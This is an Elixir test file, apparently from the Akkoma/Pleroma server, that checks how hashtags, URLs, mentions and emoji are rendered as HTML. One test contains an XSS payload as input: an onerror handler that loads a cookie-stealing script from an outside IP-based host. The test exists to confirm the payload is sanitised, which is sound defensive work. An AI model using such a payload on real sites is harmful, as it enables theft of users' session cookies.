Merge branch 'feature/file-size-checking' into 'develop'
[akkoma] / test / formatter_test.exs
1 defmodule Pleroma.FormatterTest do
2 alias Pleroma.Formatter
3 alias Pleroma.User
4 use Pleroma.DataCase
5
6 import Pleroma.Factory
7
8 setup_all do
9 Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
10 :ok
11 end
12
13 describe ".add_hashtag_links" do
14 test "turns hashtags into links" do
15 text = "I love #cofe and #2hu"
16
17 expected_text =
18 "I love <a data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
19
20 tags = Formatter.parse_tags(text)
21
22 assert expected_text ==
23 Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
24 end
25 end
26
27 describe ".add_links" do
28 test "turning urls into links" do
29 text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
30
31 expected =
32 "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
33
34 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
35
36 text = "https://mastodon.social/@lambadalambda"
37
38 expected =
39 "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
40
41 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
42
43 text = "https://mastodon.social:4000/@lambadalambda"
44
45 expected =
46 "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
47
48 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
49
50 text = "@lambadalambda"
51 expected = "@lambadalambda"
52
53 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
54
55 text = "http://www.cs.vu.nl/~ast/intel/"
56 expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
57
58 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
59
60 text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
61
62 expected =
63 "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
64
65 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
66
67 text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
68
69 expected =
70 "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
71
72 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
73
74 text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
75
76 expected =
77 "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
78
79 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
80
81 text = "https://en.wikipedia.org/wiki/Duff's_device"
82
83 expected =
84 "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
85
86 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
87
88 text = "https://pleroma.com https://pleroma.com/sucks"
89
90 expected =
91 "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
92
93 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
94
95 text = "xmpp:contact@hacktivis.me"
96
97 expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
98
99 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
100
101 text =
102 "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
103
104 expected = "<a href=\"#{text}\">#{text}</a>"
105
106 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
107 end
108 end
109
110 describe "add_user_links" do
111 test "gives a replacement for user links" do
112 text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
113 gsimg = insert(:user, %{nickname: "gsimg"})
114
115 archaeme =
116 insert(:user, %{
117 nickname: "archa_eme_",
118 info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
119 })
120
121 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
122
123 mentions = Pleroma.Formatter.parse_mentions(text)
124
125 {subs, text} = Formatter.add_user_links({[], text}, mentions)
126
127 assert length(subs) == 3
128 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
129
130 expected_text =
131 "<span><a data-user='#{gsimg.id}' class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a data-user='#{
132 archaeme.id
133 }' class='mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span><a data-user='#{
134 archaeme_remote.id
135 }' class='mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
136
137 assert expected_text == Formatter.finalize({subs, text})
138 end
139
140 test "gives a replacement for user links when the user is using Osada" do
141 mike = User.get_or_fetch("mike@osada.macgirvin.com")
142
143 text = "@mike@osada.macgirvin.com test"
144
145 mentions = Formatter.parse_mentions(text)
146
147 {subs, text} = Formatter.add_user_links({[], text}, mentions)
148
149 assert length(subs) == 1
150 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
151
152 expected_text =
153 "<span><a data-user='#{mike.id}' class='mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
154
155 assert expected_text == Formatter.finalize({subs, text})
156 end
157
158 test "gives a replacement for single-character local nicknames" do
159 text = "@o hi"
160 o = insert(:user, %{nickname: "o"})
161
162 mentions = Formatter.parse_mentions(text)
163
164 {subs, text} = Formatter.add_user_links({[], text}, mentions)
165
166 assert length(subs) == 1
167 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
168
169 expected_text =
170 "<span><a data-user='#{o.id}' class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
171
172 assert expected_text == Formatter.finalize({subs, text})
173 end
174
175 test "does not give a replacement for single-character local nicknames who don't exist" do
176 text = "@a hi"
177
178 mentions = Formatter.parse_mentions(text)
179
180 {subs, text} = Formatter.add_user_links({[], text}, mentions)
181
182 assert length(subs) == 0
183 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
184
185 expected_text = "@a hi"
186 assert expected_text == Formatter.finalize({subs, text})
187 end
188 end
189
190 describe ".parse_tags" do
191 test "parses tags in the text" do
192 text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
193
194 expected = [
195 {"#Test", "test"},
196 {"#working", "working"},
197 {"#漢字", "漢字"},
198 {"#は", "は"}
199 ]
200
201 assert Formatter.parse_tags(text) == expected
202 end
203 end
204
205 test "it can parse mentions and return the relevant users" do
206 text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
207
208 gsimg = insert(:user, %{nickname: "gsimg"})
209 archaeme = insert(:user, %{nickname: "archaeme"})
210 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
211
212 expected_result = [
213 {"@gsimg", gsimg},
214 {"@archaeme", archaeme},
215 {"@archaeme@archae.me", archaeme_remote}
216 ]
217
218 assert Formatter.parse_mentions(text) == expected_result
219 end
220
221 test "it adds cool emoji" do
222 text = "I love :moominmamma:"
223
224 expected_result =
225 "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
226
227 assert Formatter.emojify(text) == expected_result
228 end
229
230 test "it does not add XSS emoji" do
231 text =
232 "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
233
234 custom_emoji = %{
235 "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
236 "https://placehold.it/1x1"
237 }
238
239 expected_result =
240 "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
241
242 assert Formatter.emojify(text, custom_emoji) == expected_result
243 end
244
245 test "it returns the emoji used in the text" do
246 text = "I love :moominmamma:"
247
248 assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
249 end
250
251 test "it returns a nice empty result when no emojis are present" do
252 text = "I love moominamma"
253 assert Formatter.get_emoji(text) == []
254 end
255
256 test "it doesn't die when text is absent" do
257 text = nil
258 assert Formatter.get_emoji(text) == []
259 end
260 end